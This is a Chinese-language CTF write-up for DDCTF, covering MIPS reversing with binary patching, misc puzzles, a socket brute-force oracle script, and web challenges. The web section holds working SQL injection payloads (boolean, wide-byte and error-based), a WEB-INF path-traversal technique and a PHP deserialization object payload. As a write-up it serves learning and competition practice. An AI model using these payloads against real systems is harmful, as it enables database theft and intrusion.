DDctf_Writrup

第一次参加个人赛,被web4区块链卡住了,凭借杂项和一个简单的re侥幸拿了位次
web2也暴露出一些问题,java基本功太差,不然也不至于卡那么久

re

Baby MIPS

下载下来程序,听说是mips的指令集,就去虚拟机里装了一个qemu,跑了一下结果崩掉了
然后用IDA打开F5,结果竟然发现IDA的那个插件不支持mips的F5
上网搜了一波得知可以用retdec在线反编译整个程序,于是就注册了一个账号,上传这个题目,得到反编译好的c源码
查找字符串”Wrong”,到这里

1
2
3
4
5
6
sub_400420();
if (g27 == 0) {
// 0x403760
g1 = (int32_t)"Wrong";
sub_4037A0();
// branch -> 0x40377c

发现sub_400420这个函数出来就判断g27的值,那这个函数肯定有鬼,于是查看这个函数
看到了一堆等式,后来仔细一看也没有看出来个什么东西,就把这个函数和全局变量copy出来,用vs重新编译了一遍
结果编译报错说有未初始化的变量被使用,下面这种类型的代码(大概是这样,最初那份反编译结果找不到了):

1
2
3
4
int v1;
int v3;
int32_t v26 = v1 * v25 + 0xee05 * v22 + v3 * v21 + 0x84ef * v20 + 0x9d3b * v19 + 0x4f76 * v18 + 0x518a * v16 +
0xaaa1 * v14 + 0xad5a * v10 + v3 * -0xfdc8 - 0xc8f5 * v4 - 3656 * v6 - 0xde47 * v8 - 0xb123 * v12 - 0x94a1 * v23 - 0x6db0 * v24;

这变量不初始化不就是随机的吗,哪有解,越想越荒唐,于是又到ida里去看了一下,发现这种东西:

image

image

而且这些绿块有个共性,都是EB02开头。jmp指令的x86字节码就是EB,02的话就是往后跳俩字节
想到这里突然觉得这不会是作者提示你要把这个EB02xxxx给跳过吧。于是搜了一下mips的nop,得知是00000000
写了一个工具把文件里的EB02xxxx都给换成了00000000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include "stdafx.h"

int main() {
FILE *file;
fopen_s(&file, "baby_mips", "rb+");
fseek(file, 0, SEEK_END);
int size = ftell(file);
fseek(file, 0, SEEK_SET);

unsigned char* buffer = new unsigned char[size];
memset(buffer, 0, size);
fread(buffer, 1, size, file);
fclose(file);
for (unsigned int i = 0x240; i < 0x3234; i++) {
if ((buffer[i] == 0xeb) && (buffer[i + 1] == 0x02) && (i%4 == 0)) { //mips指令四字节对齐,我们只改对齐处的指令
buffer[i] = buffer[i + 1] = buffer[i + 2] = buffer[i + 3] = 0;
}
}
fopen_s(&file, "baby_mips_patched", "wb+");
fwrite(buffer, 1, size, file);
fclose(file);
}

然后重复之前的步骤,反编译出来的结果就很好看了,16个等式,每个等式包含16个变量,变量前都有已经初始化的系数
于是继续拖进vs编译成x86,然后用ida的F5插件看x86的反汇编就非常清楚了
写脚本,把等式的系数按照顺序都提取出来,组成一个矩阵,然后输入到matlab里通过逆矩阵求解一下,就得到了flag的ascii码

……脚本不见了,难度不大,用”*”符号定位,用一个二维数组存系数矩阵就行

Misc

(╯°□°)╯︵ ┻━┻

明显是16进制的密文,两位一转转成10进制,用ascii编码发现是乱码
细心观察以下会发现,所有ascii码都在扩展ascii里面,再结合翻桌子的一个脑洞
每组数字减去128,再用ascii编码
脚本写得丑

1
2
3
4
5
6
7
8
9
10
11
12
13
a = '密文'
st =a[:2]
flag =''
symbol = len(a[2:])
while symbol > 0:
st = a[:2]
t = int(st,16)-128
flag = flag + chr(t)
a = a[2:]
symbol = len(a[2:])
t = int(a,16)-128
flag = flag + chr(t)
print(flag)

第四扩展FS

图片分析拿到自然是binwalk跑一下,跑出一个压缩包,但不知道为啥我打开就说文件损坏
一直试图修复文件,无果
感觉可能是自己环境的问题(去尼玛的明明是出题背锅好嘛
后来直接用7z打开,竟然可以直接解压数据出来,玄学
image
密码在图片属性,备注里面,解压出来发现有是类似flag的字符,大概都能想到是频次排个序了,而且题目也提到了频次
写个py脚本跑一下getflag,脚本就不放了

流量分析

先筛选一下tcp流,看到有smtp,那先分析一波smtp
筛选出smtp,在标志DATA的包中追踪下tcp流,看看具体发送的数据,前面都没有什么有用的信息
然后可以发现发送了一段base64的数据
image
写个py脚本编码一下可以输出一张图片
image
能看出是个私钥,提取出来
ocr了解个屁,手机QQ了解一下
我直接用的手机QQ的提取图片中文字的功能,不过有的地方会出错,人工校对一下,可以核对提示中的md5
补全私钥格式,解密ssl流量
可以看到http包,追踪ssl流,getflag
image

安全通信

控制agentid长度
然后跑最后一位,顺次爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from socket import *

def nc(mission,agentid):
global symbol
s = socket(AF_INET,SOCK_STREAM)
address = ("116.85.48.103", 5002)
s.connect(address)
smission = mission + '\n'
smission = bytes(smission,encoding = 'ascii')
s.send(smission)
s.recv(1024)
sagentid = agentid + '\n'
sagentid = bytes(sagentid,encoding = 'ascii')
s.send(sagentid)
s.recv(1024)
symbol = str(s.recv(1024))[2:].partition('\\n')[0]
#print(symbol)
return s

def burst(n,tem,m,s):
message = "Connection for mission: %s, your mission's flag is: %s%c\n" % ('0' * n, tem, m)
print(message)
message = bytes(message,encoding = 'ascii')
s.send(message)
m = s.recv(1024)
test = str(m)[2:].partition('\\n')[0]
s.recv(1024)
return test

mission = '2acba569d223cf7d6e48dee88378288a'
flag = ''
symbol =''
end = 0
for i in range(1,62):
n = 62 - i
agentid = '0'*n
s = nc(mission,agentid)
for m in range(33,128):
t = burst(n,flag,m,s)
l = len(t)
if symbol[:l] == t:
flag = flag + chr(m)
#print(chr(m))
break
if i == 127:
end = 1
s.close()
print(flag)
if end == 1:
break

多跑几次,老是卡。。

web

数据库的秘密

改一下最常见的xff进去,审查元素(web选手职业病
发现hidden了一个author栏,用脚想也知道是注入点,那就注入一波。
先手动分析一波
image
有个很明显的sig和time参数,应该是作为校验的
从源码可以看到这是调用的js对查询数据进行了加密,注意key也在源码中
然后又是个bool注入
那思路就很明显了,需要本地写个脚本对查询参数参数加密并构造请求进行爆破
然后js直接拖下来就行了,py有个pyexexjs的模块可以运行js,脚本不放了,挂上payload

1
2
3
4
5
6
11'|| (ASCII(SUBSTR((SELECT GROUP_CONCAT(DISTINCT table_name,0x23,table_schema) 
FROM Information_schema.tables WHERE table_schema<>0x696E666F726D6174696F6E5F736368656D61),1,1)))=32#

11'|| (ASCII(SUBSTR((SELECT column_name FROM information_schema.columns where table_name=0x6374665F6B657935),1,1)))=32#

11'|| (ASCII(SUBSTR((SELECT secvalue FROM ddctf.ctf_key5),1,1)))=32#

吐槽一下网站很卡,容易出错
多跑几次汇总getflag

专属链接

源码泄露,测目录姿势
http://116.85.48.102:5050/image/banner/+base64(path)
GitHub上也有这个框架
https://github.com/tangzhezhi/springmvc/tree/master/WebRoot/WEB-INF
还有一处提示报错
http://116.85.48.102:5050/flag/testflag/1
然后主要是这几个文件
…/…/WEB-INF/classes/com/didichuxing/ctf/listener/InitListener.class
…/…/WEB-INF/classes/com/didichuxing/ctf/service/FlagService.class
…/…/WEB-INF/classes/com/didichuxing/ctf/controller/user/FlagController.class
审计一下
/flag/getflag可以获得flag的密文,解密一下即可
注意这里是用公钥进行解密
脚本找不到了,又重新糊了一份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.cert.Certificate;
import java.security.UnrecoverableKeyException;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.Mac;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;

public class Main {
public static String hexString2binaryString(String hexString)
{
if (hexString == null || hexString.length() % 2 != 0)
return null;
String bString = "", tmp;
for (int i = 0; i < hexString.length(); i++)
{
tmp = "0000"
+ Integer.toBinaryString(Integer.parseInt(hexString
.substring(i, i + 1), 16));
bString += tmp.substring(tmp.length() - 4);
}
return bString;
}

public static String byte2hex(byte[] b){
StringBuilder hs = new StringBuilder();
for (int n = 0; (b != null) && (n < b.length); n++){
String stmp = Integer.toHexString(b[n] & 0xFF);
if (stmp.length() == 1) {
hs.append('0');
}
hs.append(stmp);
}
return hs.toString().toUpperCase();
}

public static void main(String[] args) throws Exception {

String e = "*****";
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
byte[] flag = hexString2binaryString(e).getBytes();
String ksPath = "C:\\Users\\星灵\\eclipse-workspace\\1\\src\\sdl.ks";
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
Certificate cert = keyStore.getCertificate("www.didichuxing.com");
PublicKey publicKey = cert.getPublicKey();
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(Cipher.DECRYPT_MODE, publicKey);
byte[] data = cipher.doFinal(flag);
String a=new String(data);
System.out.println(a);
}
}

注入的奥秘

源码里可以找到一个注释了的BIG5的百度文库链接
很明显的提示,宽字节注入,注入点也很明显
先尝试一下

1
1么'or 1 = 1 uunionnion select 1,2,dadatabasetabase()%23

可以回显出数据库sqli,但好像没什么卵用
发现报错有回显,感觉报错注入简单一点
扔三个pyload

1
2
3
4
5
6
7
8
9
1么'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) 
from information_schema.tables where table_schema=0x73716C69%20 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

1么'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e)))
from information_schema.columns where table_schema=0x73716C69 and table_name=0x726F7574655F72756C6573 limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)%23

1%E4%B9%88'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,pattern,0x7e)))
from sqli.route_rules limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

route_rules表里有个static/bootstrap/css/backup.css
是个zip,拿下来进行源码审计
justtry/try可以看出一个反序列化,实例化一个test对象,它反序列化的时候调用__destruct()
直接上payload

1
2
3
O%3A17%3A%22Index%5CHelper%5CTest%22%3A2%3A%7Bs%3A9%3A%22user_uuid%22%3Bs%3A36%3A%225d71b644-ee63-4b11-9c13-da3c4ac35b8d%22%3Bs%3A2
%3A%22fl%22%3BO%3A17%3A%22Index%5CHelper%5CFlag%22%3A1%3A%7Bs%3A3%3A%22sql%22%3BO%3A16%3A%22Index%5CHelper%5CSQL%22%3A2%3A%7Bs%3A3%
3A%22dbc%22%3BN%3Bs%3A3%3A%22pdo%22%3BN%3B%7D%7D%7D

post上去getflag